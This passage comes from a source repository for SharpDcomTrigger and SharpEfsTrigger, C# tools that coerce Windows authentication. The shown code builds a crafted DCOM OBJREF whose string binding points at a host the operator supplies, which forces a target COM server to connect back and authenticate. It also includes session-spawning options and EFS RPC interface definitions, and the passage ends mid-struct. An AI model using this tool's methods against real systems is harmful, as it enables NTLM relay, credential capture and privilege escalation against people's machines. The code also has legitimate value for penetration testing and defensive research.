IID_IStandardActivator, out object instance); 93 | Console.WriteLine("[*] CoCreateInstance: {0}", (Ole32.CoCreateReturn)result2); 94 | pComAct = (IStandardActivator)instance; 95 | 96 | if (session_id != -1) 97 | { 98 | ISpecialSystemPropertiesActivator props = (ISpecialSystemPropertiesActivator)pComAct; 99 | Console.WriteLine("[*] Spawning in session {0}", session_id); 100 | props.SetSessionId(session_id, 0, 1); 101 | } 102 | 103 | result = pComAct.StandardGetInstanceFromIStorage(null, clsId_guid, IntPtr.Zero, CLSCTX.LOCAL_SERVER, storageTrigger, 1, qis); 104 | Console.WriteLine("[*] StandardGetInstanceFromIStoragee: {0}", result); 105 | } 106 | catch (Exception e) 107 | { 108 | //Console.WriteLine(e); 109 | } 110 | return 0; 111 | } 112 | 113 | 114 | [STAThread] 115 | static void Main(string[] args) { 116 | int port = 0; 117 | int session; 118 | string binding; 119 | string target; 120 | string clsid = "{4991d34b-80a1-4291-83b6-3328366b9097}"; 121 | 122 | if (args.Length < 1) 123 | { 124 | Console.WriteLine("usage: SharpDcomTrigger.exe "); 125 | Console.WriteLine("usage: SharpDcomTrigger.exe 192.168.1.10 \"{4991d34b-80a1-4291-83b6-3328366b9097}\""); 126 | Console.WriteLine("usage: SharpDcomTrigger.exe 192.168.1.10 \"{5167B42F-C111-47A1-ACC4-8EABE61B0B54}\" 1"); 127 | return; 128 | } 129 | else 130 | { 131 | target = args[0]; 132 | } 133 | 134 | if (args.Length >= 2) 135 | { 136 | clsid = args[1]; 137 | } 138 | 139 | if (port > 0) 140 | binding = String.Format("{0}[{1}]", target, port); 141 | else 142 | binding = target; 143 | 144 | if (args.Length >= 3) 145 | { 146 | session = int.Parse(args[2]); 147 | TriggerSession(clsid, binding, session); 148 | } 149 | else 150 | { 151 | TriggerSystem(clsid, binding); 152 | } 153 | } 154 | } 155 | } 156 | -------------------------------------------------------------------------------- /SharpDcomTrigger/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpDcomTrigger")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpDcomTrigger")] 13 | [assembly: AssemblyCopyright("Copyright © 2021")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("40b97695-684f-4048-bb48-0bdeca952913")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /SharpDcomTrigger/SharpDcomTrigger.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {40B97695-684F-4048-BB48-0BDECA952913} 8 | Exe 9 | SharpDcomTrigger 10 | SharpDcomTrigger 11 | v4.5 12 | 512 13 | true 14 | 15 | 16 | AnyCPU 17 | true 18 | full 19 | false 20 | bin\Debug\ 21 | DEBUG;TRACE 22 | prompt 23 | 4 24 | 25 | 26 | AnyCPU 27 | pdbonly 28 | true 29 | bin\Release\ 30 | TRACE 31 | prompt 32 | 4 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | -------------------------------------------------------------------------------- /SharpDcomTrigger/SharpDcomTrigger.csproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | ProjectFiles 5 | 6 | -------------------------------------------------------------------------------- /SharpDcomTrigger/StandardActivator.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Runtime.InteropServices; 4 | using SharpDcomTrigger.Com; 5 | 6 | namespace SharpDcomTrigger 7 | { 8 | 9 | internal enum RUNLEVEL : uint 10 | { 11 | RUNLEVEL_LUA = 0x0, 12 | RUNLEVEL_HIGHEST = 0x1, 13 | RUNLEVEL_ADMIN = 0x2, 14 | RUNLEVEL_MAX_NON_UIA = 0x3, 15 | RUNLEVEL_LUA_UIA = 0x10, 16 | RUNLEVEL_HIGHEST_UIA = 0x11, 17 | RUNLEVEL_ADMIN_UIA = 0x12, 18 | RUNLEVEL_MAX = 0x13, 19 | INVALID_LUA_RUNLEVEL = 0xFFFFFFFF, 20 | }; 21 | 22 | internal enum PRT 23 | { 24 | PRT_IGNORE = 0x0, 25 | PRT_CREATE_NEW = 0x1, 26 | PRT_USE_THIS = 0x2, 27 | PRT_USE_THIS_ONLY = 0x3, 28 | }; 29 | 30 | [Guid("000001B9-0000-0000-c000-000000000046")] 31 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 32 | internal interface ISpecialSystemPropertiesActivator 33 | { 34 | void SetSessionId(int dwSessionId, int bUseConsole, int fRemoteThisSessionId); 35 | 36 | void GetSessionId(out int pdwSessionId, out int pbUseConsole); 37 | 38 | void GetSessionId2(out int pdwSessionId, out int pbUseConsole, out int pfRemoteThisSessionId); 39 | 40 | void SetClientImpersonating(int fClientImpersonating); 41 | 42 | void GetClientImpersonating(out int pfClientImpersonating); 43 | 44 | void SetPartitionId(ref Guid guidPartition); 45 | 46 | void GetPartitionId(out Guid pguidPartition); 47 | 48 | void SetProcessRequestType(PRT dwPRT); 49 | 50 | void GetProcessRequestType(out PRT pdwPRT); 51 | 52 | void SetOrigClsctx(int dwOrigClsctx); 53 | 54 | void GetOrigClsctx(out int pdwOrigClsctx); 55 | 56 | void GetDefaultAuthenticationLevel(out int pdwDefaultAuthnLvl); 57 | 58 | void SetDefaultAuthenticationLevel(int dwDefaultAuthnLvl); 59 | 60 | void GetLUARunLevel(out RUNLEVEL pdwLUARunLevel, out IntPtr phwnd); 61 | 62 | void SetLUARunLevel(RUNLEVEL dwLUARunLevel, IntPtr hwnd); 63 | } 64 | 65 | [Flags] 66 | public enum CLSCTX : uint 67 | { 68 | INPROC_SERVER = 0x1, 69 | INPROC_HANDLER = 0x2, 70 | LOCAL_SERVER = 0x4, 71 | INPROC_SERVER16 = 0x8, 72 | REMOTE_SERVER = 0x10, 73 | INPROC_HANDLER16 = 0x20, 74 | RESERVED1 = 0x40, 75 | RESERVED2 = 0x80, 76 | RESERVED3 = 0x100, 77 | RESERVED4 = 0x200, 78 | NO_CODE_DOWNLOAD = 0x400, 79 | RESERVED5 = 0x800, 80 | NO_CUSTOM_MARSHAL = 0x1000, 81 | ENABLE_CODE_DOWNLOAD = 0x2000, 82 | NO_FAILURE_LOG = 0x4000, 83 | DISABLE_AAA = 0x8000, 84 | ENABLE_AAA = 0x10000, 85 | FROM_DEFAULT_CONTEXT = 0x20000, 86 | ACTIVATE_32_BIT_SERVER = 0x40000, 87 | ACTIVATE_64_BIT_SERVER = 0x80000, 88 | ENABLE_CLOAKING = 0x100000, 89 | APPCONTAINER = 0x400000, 90 | ACTIVATE_AAA_AS_IU = 0x800000, 91 | ACTIVATE_NATIVE_SERVER = 0x1000000, 92 | ACTIVATE_ARM32_SERVER = 0x2000000, 93 | PS_DLL = 0x80000000, 94 | SERVER = INPROC_SERVER | LOCAL_SERVER | REMOTE_SERVER, 95 | ALL = INPROC_SERVER | INPROC_HANDLER | LOCAL_SERVER | REMOTE_SERVER 96 | } 97 | 98 | [StructLayout(LayoutKind.Sequential)] 99 | public struct OptionalGuid : IDisposable 100 | { 101 | private IntPtr pGuid; 102 | 103 | void IDisposable.Dispose() 104 | { 105 | if (pGuid != IntPtr.Zero) 106 | { 107 | Marshal.FreeCoTaskMem(pGuid); 108 | pGuid = IntPtr.Zero; 109 | } 110 | } 111 | 112 | public OptionalGuid(Guid guid) 113 | { 114 | pGuid = Marshal.AllocCoTaskMem(16); 115 | Marshal.Copy(guid.ToByteArray(), 0, pGuid, 16); 116 | } 117 | } 118 | 119 | [StructLayout(LayoutKind.Sequential)] 120 | public struct MULTI_QI : IDisposable 121 | { 122 | private OptionalGuid pIID; 123 | private IntPtr pItf; 124 | private int hr; 125 | 126 | public object GetObject() 127 | { 128 | if (pItf == IntPtr.Zero) 129 | { 130 | return null; 131 | } 132 | else 133 | { 134 | return Marshal.GetObjectForIUnknown(pItf); 135 | } 136 | } 137 | 138 | public IntPtr GetObjectPointer() 139 | { 140 | if (pItf != IntPtr.Zero) 141 | { 142 | Marshal.AddRef(pItf); 143 | } 144 | return pItf; 145 | } 146 | 147 | public int HResult() 148 | { 149 | return hr; 150 | } 151 | 152 | void IDisposable.Dispose() 153 | { 154 | ((IDisposable)pIID).Dispose(); 155 | if (pItf != IntPtr.Zero) 156 | { 157 | Marshal.Release(pItf); 158 | pItf = IntPtr.Zero; 159 | } 160 | } 161 | 162 | public MULTI_QI(Guid iid) 163 | { 164 | pIID = new OptionalGuid(iid); 165 | pItf = IntPtr.Zero; 166 | hr = 0; 167 | } 168 | } 169 | 170 | [StructLayout(LayoutKind.Sequential)] 171 | public sealed class COSERVERINFO : IDisposable 172 | { 173 | private int dwReserved1; 174 | 175 | [MarshalAs(UnmanagedType.LPWStr)] 176 | private string pwszName; 177 | 178 | private IntPtr pAuthInfo; 179 | private int dwReserved2; 180 | 181 | void IDisposable.Dispose() 182 | { 183 | if (pAuthInfo != IntPtr.Zero) 184 | { 185 | Marshal.FreeCoTaskMem(pAuthInfo); 186 | } 187 | } 188 | 189 | public COSERVERINFO(string name) 190 | { 191 | pwszName = name; 192 | } 193 | } 194 | 195 | [Guid("000001B8-0000-0000-c000-000000000046")] 196 | [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] 197 | public interface IStandardActivator 198 | { 199 | void StandardGetClassObject(in Guid rclsid, CLSCTX dwContext, [In] COSERVERINFO pServerInfo, in Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object ppvClassObj); 200 | 201 | void StandardCreateInstance(in Guid Clsid, IntPtr punkOuter, CLSCTX dwClsCtx, [In] COSERVERINFO pServerInfo, int dwCount, [In, Out][MarshalAs(UnmanagedType.LPArray)] MULTI_QI[] pResults); 202 | 203 | void StandardGetInstanceFromFile([In] COSERVERINFO pServerInfo, in Guid pclsidOverride, 204 | IntPtr punkOuter, CLSCTX dwClsCtx, int grfMode, [MarshalAs(UnmanagedType.LPWStr)] string pwszName, int dwCount, [In, Out][MarshalAs(UnmanagedType.LPArray)] MULTI_QI[] pResults); 205 | 206 | int StandardGetInstanceFromIStorage( 207 | [In] COSERVERINFO pServerInfo, 208 | in Guid pclsidOverride, 209 | IntPtr punkOuter, 210 | CLSCTX dwClsCtx, 211 | IStorage pstg, 212 | int dwCount, 213 | [In, Out][MarshalAs(UnmanagedType.LPArray)] Ole32.MULTI_QI[] pResults); 214 | 215 | int StandardGetInstanceFromIStoragee( 216 | COSERVERINFO pServerInfo, 217 | ref Guid pclsidOverride, 218 | [MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter, 219 | CLSCTX dwClsCtx, 220 | IStorage pstg, 221 | int dwCount, 222 | [In, Out][MarshalAs(UnmanagedType.LPArray)] Ole32.MULTI_QI[] pResults); 223 | 224 | void Reset(); 225 | } 226 | 227 | [Flags] 228 | internal enum STGM 229 | { 230 | READ = 0x00000000, 231 | WRITE = 0x00000001, 232 | READWRITE = 0x00000002, 233 | SHARE_DENY_NONE = 0x00000040, 234 | SHARE_DENY_READ = 0x00000030, 235 | SHARE_DENY_WRITE = 0x00000020, 236 | SHARE_EXCLUSIVE = 0x00000010, 237 | PRIORITY = 0x00040000, 238 | CREATE = 0x00001000, 239 | CONVERT = 0x00020000, 240 | FAILIFTHERE = READ, 241 | DIRECT = READ, 242 | TRANSACTED = 0x00010000, 243 | NOSCRATCH = 0x00100000, 244 | NOSNAPSHOT = 0x00200000, 245 | SIMPLE = 0x08000000, 246 | DIRECT_SWMR = 0x00400000, 247 | DELETEONRELEASE = 0x04000000 248 | } 249 | 250 | internal enum STGFMT 251 | { 252 | Storage = 0, 253 | File = 3, 254 | Any = 4, 255 | Docfile = 5 256 | } 257 | 258 | [StructLayout(LayoutKind.Sequential)] 259 | internal class STGOPTIONS 260 | { 261 | public short usVersion; 262 | public short reserved; 263 | public int ulSectorSize; 264 | 265 | [MarshalAs(UnmanagedType.LPWStr)] 266 | public string pwcsTemplateFile; 267 | } 268 | } -------------------------------------------------------------------------------- /SharpDcomTrigger/StorageTrigger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | using SharpDcomTrigger.Com; 4 | 5 | namespace SharpDcomTrigger { 6 | 7 | [ComVisible(true)] 8 | public class StorageTrigger : IMarshal, IStorage { 9 | 10 | private IStorage storage; 11 | private string binding; 12 | private TowerProtocol towerProtocol; 13 | 14 | public StorageTrigger(IStorage storage, string binding, TowerProtocol towerProtocol) { 15 | this.storage = storage; 16 | this.binding = binding; 17 | this.towerProtocol = towerProtocol; 18 | } 19 | 20 | public void DisconnectObject(uint dwReserved) { 21 | } 22 | 23 | public void GetMarshalSizeMax(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out uint pSize) { 24 | pSize = 1024; 25 | } 26 | 27 | public void GetUnmarshalClass(ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS, out Guid pCid) { 28 | pCid = new Guid("00000306-0000-0000-c000-000000000046"); 29 | } 30 | 31 | public void MarshalInterface(IStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS) { 32 | 33 | ObjRef objRef = new ObjRef(Ole32.IID_IUnknown, 34 | new ObjRef.Standard(0x1000, 1, 0x0703d84a06ec96cc, 0x539d029cce31ac, new Guid("{042c939f-54cd-efd4-4bbd-1c3bae972145}"), 35 | new ObjRef.DualStringArray(new ObjRef.StringBinding(towerProtocol, binding), new ObjRef.SecurityBinding(0xa, 0xffff, null)))); 36 | 37 | uint written; 38 | byte[] data = objRef.GetBytes(); 39 | pstm.Write(data, (uint)data.Length, out written); 40 | } 41 | 42 | public void ReleaseMarshalData(IStream pstm) { 43 | } 44 | 45 | public void UnmarshalInterface(IStream pstm, ref Guid riid, out IntPtr ppv) { 46 | ppv = IntPtr.Zero; 47 | } 48 | 49 | public void Commit(uint grfCommitFlags) { 50 | storage.Commit(grfCommitFlags); 51 | } 52 | 53 | public void CopyTo(uint ciidExclude, Guid[] rgiidExclude, IntPtr snbExclude, IStorage pstgDest) { 54 | storage.CopyTo(ciidExclude, rgiidExclude, snbExclude, pstgDest); 55 | } 56 | 57 | public void CreateStorage(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStorage ppstg) { 58 | storage.CreateStorage(pwcsName, grfMode, reserved1, reserved2, out ppstg); 59 | } 60 | 61 | public void CreateStream(string pwcsName, uint grfMode, uint reserved1, uint reserved2, out IStream ppstm) { 62 | storage.CreateStream(pwcsName, grfMode, reserved1, reserved2, out ppstm); 63 | } 64 | 65 | public void DestroyElement(string pwcsName) { 66 | storage.DestroyElement(pwcsName); 67 | } 68 | 69 | public void EnumElements(uint reserved1, IntPtr reserved2, uint reserved3, out IEnumSTATSTG ppEnum) { 70 | storage.EnumElements(reserved1, reserved2, reserved3, out ppEnum); 71 | } 72 | 73 | public void MoveElementTo(string pwcsName, IStorage pstgDest, string pwcsNewName, uint grfFlags) { 74 | storage.MoveElementTo(pwcsName, pstgDest, pwcsNewName, grfFlags); 75 | } 76 | 77 | public void OpenStorage(string pwcsName, IStorage pstgPriority, uint grfMode, IntPtr snbExclude, uint reserved, out IStorage ppstg) { 78 | storage.OpenStorage(pwcsName, pstgPriority, grfMode, snbExclude, reserved, out ppstg); 79 | } 80 | 81 | public void OpenStream(string pwcsName, IntPtr reserved1, uint grfMode, uint reserved2, out IStream ppstm) { 82 | storage.OpenStream(pwcsName, reserved1, grfMode, reserved2, out ppstm); 83 | } 84 | 85 | public void RenameElement(string pwcsOldName, string pwcsNewName) { 86 | 87 | } 88 | 89 | public void Revert() { 90 | 91 | } 92 | 93 | public void SetClass(ref Guid clsid) { 94 | 95 | } 96 | 97 | public void SetElementTimes(string pwcsName, FILETIME[] pctime, FILETIME[] patime, FILETIME[] pmtime) { 98 | 99 | } 100 | 101 | public void SetStateBits(uint grfStateBits, uint grfMask) { 102 | } 103 | 104 | public void Stat(STATSTG[] pstatstg, uint grfStatFlag) { 105 | storage.Stat(pstatstg, grfStatFlag); 106 | pstatstg[0].pwcsName = "hello.stg"; 107 | } 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /SharpEfsTrigger/App.config: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpEfsTrigger/Midl-EFS/ms-dtyp.idl: -------------------------------------------------------------------------------- 1 | typedef unsigned short wchar_t; 2 | typedef void* ADCONNECTION_HANDLE; 3 | typedef int BOOL, *PBOOL, *LPBOOL; 4 | typedef unsigned char BYTE, *PBYTE, *LPBYTE; 5 | typedef BYTE BOOLEAN, *PBOOLEAN; 6 | typedef wchar_t WCHAR, *PWCHAR; 7 | typedef WCHAR* BSTR; 8 | typedef char CHAR, *PCHAR; 9 | typedef double DOUBLE; 10 | typedef unsigned long DWORD, *PDWORD, *LPDWORD; 11 | typedef unsigned int DWORD32; 12 | typedef unsigned __int64 DWORD64, *PDWORD64; 13 | typedef unsigned __int64 ULONGLONG; 14 | typedef ULONGLONG DWORDLONG, *PDWORDLONG; 15 | typedef unsigned long error_status_t; 16 | typedef float FLOAT; 17 | typedef unsigned char UCHAR, *PUCHAR; 18 | typedef short SHORT; 19 | 20 | typedef void* HANDLE; 21 | typedef DWORD HCALL; 22 | typedef int INT, *LPINT; 23 | typedef signed char INT8; 24 | typedef signed short INT16; 25 | typedef signed int INT32; 26 | typedef signed __int64 INT64; 27 | typedef void* LDAP_UDP_HANDLE; 28 | typedef const wchar_t* LMCSTR; 29 | typedef WCHAR* LMSTR; 30 | typedef long LONG, *PLONG, *LPLONG; 31 | typedef signed __int64 LONGLONG; 32 | typedef LONG HRESULT; 33 | 34 | typedef __int3264 LONG_PTR; 35 | typedef unsigned __int3264 ULONG_PTR; 36 | 37 | typedef signed int LONG32; 38 | typedef signed __int64 LONG64, *PLONG64; 39 | typedef const char* LPCSTR; 40 | typedef const void* LPCVOID; 41 | typedef const wchar_t* LPCWSTR; 42 | typedef char* PSTR, *LPSTR; 43 | 44 | typedef wchar_t* LPWSTR, *PWSTR; 45 | typedef DWORD NET_API_STATUS; 46 | typedef long NTSTATUS; 47 | typedef [context_handle] void* PCONTEXT_HANDLE; 48 | typedef [ref] PCONTEXT_HANDLE* PPCONTEXT_HANDLE; 49 | 50 | typedef unsigned __int64 QWORD; 51 | typedef void* RPC_BINDING_HANDLE; 52 | typedef UCHAR* STRING; 53 | 54 | typedef unsigned int UINT; 55 | typedef unsigned char UINT8; 56 | typedef unsigned short UINT16; 57 | typedef unsigned int UINT32; 58 | typedef unsigned __int64 UINT64; 59 | typedef unsigned long ULONG, *PULONG; 60 | 61 | typedef ULONG_PTR DWORD_PTR; 62 | typedef ULONG_PTR SIZE_T; 63 | typedef unsigned int ULONG32; 64 | typedef unsigned __int64 ULONG64; 65 | typedef wchar_t UNICODE; 66 | typedef unsigned short USHORT; 67 | typedef void VOID, *PVOID, *LPVOID; 68 | typedef unsigned short WORD, *PWORD, *LPWORD; 69 | 70 | typedef struct _FILETIME { 71 | DWORD dwLowDateTime; 72 | DWORD dwHighDateTime; 73 | } FILETIME, 74 | *PFILETIME, 75 | *LPFILETIME; 76 | 77 | typedef struct _GUID { 78 | unsigned long Data1; 79 | unsigned short Data2; 80 | unsigned short Data3; 81 | byte Data4[8]; 82 | } GUID, 83 | UUID, 84 | *PGUID; 85 | 86 | typedef struct _LARGE_INTEGER { 87 | signed __int64 QuadPart; 88 | } LARGE_INTEGER, *PLARGE_INTEGER; 89 | 90 | typedef struct _EVENT_DESCRIPTOR { 91 | USHORT Id; 92 | UCHAR Version; 93 | UCHAR Channel; 94 | UCHAR Level; 95 | UCHAR Opcode; 96 | USHORT Task; 97 | ULONGLONG Keyword; 98 | } EVENT_DESCRIPTOR, 99 | *PEVENT_DESCRIPTOR, 100 | *PCEVENT_DESCRIPTOR; 101 | 102 | typedef struct _EVENT_HEADER { 103 | USHORT Size; 104 | USHORT HeaderType; 105 | USHORT Flags; 106 | USHORT EventProperty; 107 | ULONG ThreadId; 108 | ULONG ProcessId; 109 | LARGE_INTEGER TimeStamp; 110 | GUID ProviderId; 111 | EVENT_DESCRIPTOR EventDescriptor; 112 | union { 113 | struct { 114 | ULONG KernelTime; 115 | ULONG UserTime; 116 | }; 117 | ULONG64 ProcessorTime; 118 | }; 119 | GUID ActivityId; 120 | } EVENT_HEADER, 121 | *PEVENT_HEADER; 122 | 123 | typedef DWORD LCID; 124 | 125 | typedef struct _LUID { 126 | DWORD LowPart; 127 | LONG HighPart; 128 | } LUID, 129 | *PLUID; 130 | 131 | typedef struct _MULTI_SZ { 132 | wchar_t* Value; 133 | DWORD nChar; 134 | } MULTI_SZ; 135 | 136 | typedef struct _RPC_UNICODE_STRING { 137 | unsigned short Length; 138 | unsigned short MaximumLength; 139 | [size_is(MaximumLength/2), length_is(Length/2)] 140 | WCHAR* Buffer; 141 | } RPC_UNICODE_STRING, 142 | *PRPC_UNICODE_STRING; 143 | 144 | typedef struct _SERVER_INFO_100 { 145 | DWORD sv100_platform_id; 146 | [string] wchar_t* sv100_name; 147 | } SERVER_INFO_100, 148 | *PSERVER_INFO_100, 149 | *LPSERVER_INFO_100; 150 | 151 | typedef struct _SERVER_INFO_101 { 152 | DWORD sv101_platform_id; 153 | [string] wchar_t* sv101_name; 154 | DWORD sv101_version_major; 155 | DWORD sv101_version_minor; 156 | DWORD sv101_version_type; 157 | [string] wchar_t* sv101_comment; 158 | } SERVER_INFO_101, 159 | *PSERVER_INFO_101, 160 | *LPSERVER_INFO_101; 161 | 162 | typedef struct _SYSTEMTIME { 163 | WORD wYear; 164 | WORD wMonth; 165 | WORD wDayOfWeek; 166 | WORD wDay; 167 | WORD wHour; 168 | WORD wMinute; 169 | WORD wSecond; 170 | WORD wMilliseconds; 171 | } SYSTEMTIME, 172 | *PSYSTEMTIME; 173 | 174 | typedef struct _UINT128 { 175 | UINT64 lower; 176 | UINT64 upper; 177 | } UINT128, 178 | *PUINT128; 179 | 180 | typedef struct _ULARGE_INTEGER { 181 | unsigned __int64 QuadPart; 182 | } ULARGE_INTEGER, *PULARGE_INTEGER; 183 | 184 | typedef struct _RPC_SID_IDENTIFIER_AUTHORITY { 185 | byte Value[6]; 186 | } RPC_SID_IDENTIFIER_AUTHORITY; 187 | 188 | typedef DWORD ACCESS_MASK; 189 | typedef ACCESS_MASK *PACCESS_MASK; 190 | 191 | typedef struct _OBJECT_TYPE_LIST { 192 | WORD Level; 193 | ACCESS_MASK Remaining; 194 | GUID* ObjectType; 195 | } OBJECT_TYPE_LIST, 196 | *POBJECT_TYPE_LIST; 197 | 198 | typedef struct _ACE_HEADER { 199 | UCHAR AceType; 200 | UCHAR AceFlags; 201 | USHORT AceSize; 202 | } ACE_HEADER, 203 | *PACE_HEADER; 204 | 205 | typedef struct _SYSTEM_MANDATORY_LABEL_ACE { 206 | ACE_HEADER Header; 207 | ACCESS_MASK Mask; 208 | DWORD SidStart; 209 | } SYSTEM_MANDATORY_LABEL_ACE, 210 | *PSYSTEM_MANDATORY_LABEL_ACE; 211 | 212 | typedef struct _TOKEN_MANDATORY_POLICY { 213 | DWORD Policy; 214 | } TOKEN_MANDATORY_POLICY, 215 | *PTOKEN_MANDATORY_POLICY; 216 | 217 | typedef struct _MANDATORY_INFORMATION { 218 | ACCESS_MASK AllowedAccess; 219 | BOOLEAN WriteAllowed; 220 | BOOLEAN ReadAllowed; 221 | BOOLEAN ExecuteAllowed; 222 | TOKEN_MANDATORY_POLICY MandatoryPolicy; 223 | } MANDATORY_INFORMATION, 224 | *PMANDATORY_INFORMATION; 225 | 226 | typedef struct _CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE { 227 | DWORD Length; 228 | BYTE OctetString[]; 229 | } CLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE, 230 | *PCLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE; 231 | 232 | typedef struct _CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1 { 233 | DWORD Name; 234 | WORD ValueType; 235 | WORD Reserved; 236 | DWORD Flags; 237 | DWORD ValueCount; 238 | union { 239 | PLONG64 pInt64[]; 240 | PDWORD64 pUint64[]; 241 | PWSTR ppString[]; 242 | PCLAIM_SECURITY_ATTRIBUTE_OCTET_STRING_RELATIVE pOctetString[]; 243 | } Values; 244 | } CLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1, 245 | *PCLAIM_SECURITY_ATTRIBUTE_RELATIVE_V1; 246 | 247 | 248 | typedef DWORD SECURITY_INFORMATION, *PSECURITY_INFORMATION; 249 | 250 | typedef struct _RPC_SID { 251 | unsigned char Revision; 252 | unsigned char SubAuthorityCount; 253 | RPC_SID_IDENTIFIER_AUTHORITY IdentifierAuthority; 254 | [size_is(SubAuthorityCount)] unsigned long SubAuthority[]; 255 | } RPC_SID, 256 | *PRPC_SID, 257 | *PSID; 258 | 259 | typedef struct _ACL { 260 | unsigned char AclRevision; 261 | unsigned char Sbz1; 262 | unsigned short AclSize; 263 | unsigned short AceCount; 264 | unsigned short Sbz2; 265 | } ACL, 266 | *PACL; 267 | 268 | typedef struct _SECURITY_DESCRIPTOR { 269 | UCHAR Revision; 270 | UCHAR Sbz1; 271 | USHORT Control; 272 | PSID Owner; 273 | PSID Group; 274 | PACL Sacl; 275 | PACL Dacl; 276 | } SECURITY_DESCRIPTOR, 277 | *PSECURITY_DESCRIPTOR; 278 | 279 | 280 | -------------------------------------------------------------------------------- /SharpEfsTrigger/Midl-EFS/ms-efs.idl: -------------------------------------------------------------------------------- 1 | import "ms-dtyp.idl"; 2 | 3 | [ 4 | uuid(c681d488-d850-11d0-8c52-00c04fd90f7e), 5 | version(1.0), 6 | ] 7 | interface efsrpc 8 | { 9 | 10 | 11 | typedef [context_handle] void * PEXIMPORT_CONTEXT_HANDLE; 12 | 13 | typedef pipe unsigned char EFS_EXIM_PIPE; 14 | 15 | typedef struct _EFS_RPC_BLOB { 16 | [range(0,266240)] DWORD cbData; 17 | [size_is(cbData)] unsigned char * bData; 18 | } EFS_RPC_BLOB, 19 | *PEFS_RPC_BLOB; 20 | 21 | typedef struct { 22 | DWORD EfsVersion; 23 | } EFS_COMPATIBILITY_INFO; 24 | 25 | typedef unsigned int ALG_ID; 26 | 27 | typedef struct _EFS_HASH_BLOB { 28 | [range(0,100)] DWORD cbData; 29 | [size_is(cbData)] unsigned char * bData; 30 | } EFS_HASH_BLOB; 31 | 32 | 33 | typedef struct _ENCRYPTION_CERTIFICATE_HASH { 34 | DWORD cbTotalLength; 35 | RPC_SID * UserSid; 36 | EFS_HASH_BLOB * Hash; 37 | [string] wchar_t * lpDisplayInformation; 38 | } ENCRYPTION_CERTIFICATE_HASH; 39 | 40 | 41 | typedef struct _ENCRYPTION_CERTIFICATE_HASH_LIST { 42 | [range(0,500)] DWORD nCert_Hash; 43 | [size_is(nCert_Hash , )] ENCRYPTION_CERTIFICATE_HASH ** Users; 44 | } ENCRYPTION_CERTIFICATE_HASH_LIST; 45 | 46 | 47 | typedef struct _CERTIFICATE_BLOB { 48 | DWORD dwCertEncodingType; 49 | [range(0,32768)] DWORD cbData; 50 | [size_is(cbData)] unsigned char * bData; 51 | } EFS_CERTIFICATE_BLOB; 52 | 53 | 54 | typedef struct _ENCRYPTION_CERTIFICATE { 55 | DWORD cbTotalLength; 56 | RPC_SID * UserSid; 57 | EFS_CERTIFICATE_BLOB * CertBlob; 58 | } ENCRYPTION_CERTIFICATE; 59 | 60 | 61 | typedef struct _ENCRYPTION_CERTIFICATE_LIST { 62 | [range(0,500)] DWORD nUsers; 63 | [size_is(nUsers , )] ENCRYPTION_CERTIFICATE ** Users; 64 | } ENCRYPTION_CERTIFICATE_LIST; 65 | 66 | 67 | typedef struct _ENCRYPTED_FILE_METADATA_SIGNATURE { 68 | DWORD dwEfsAccessType; 69 | ENCRYPTION_CERTIFICATE_HASH_LIST * CertificatesAdded; 70 | ENCRYPTION_CERTIFICATE * EncryptionCertificate; 71 | EFS_RPC_BLOB * EfsStreamSignature; 72 | } ENCRYPTED_FILE_METADATA_SIGNATURE; 73 | 74 | typedef struct { 75 | DWORD dwVersion; 76 | unsigned long Entropy; 77 | ALG_ID Algorithm; 78 | unsigned long KeyLength; 79 | } EFS_KEY_INFO; 80 | 81 | typedef struct { 82 | DWORD dwDecryptionError; 83 | DWORD dwHashOffset; 84 | DWORD cbHash; 85 | } EFS_DECRYPTION_STATUS_INFO; 86 | 87 | typedef struct { 88 | BOOL bHasCurrentKey; 89 | DWORD dwEncryptionError; 90 | } EFS_ENCRYPTION_STATUS_INFO; 91 | 92 | typedef struct 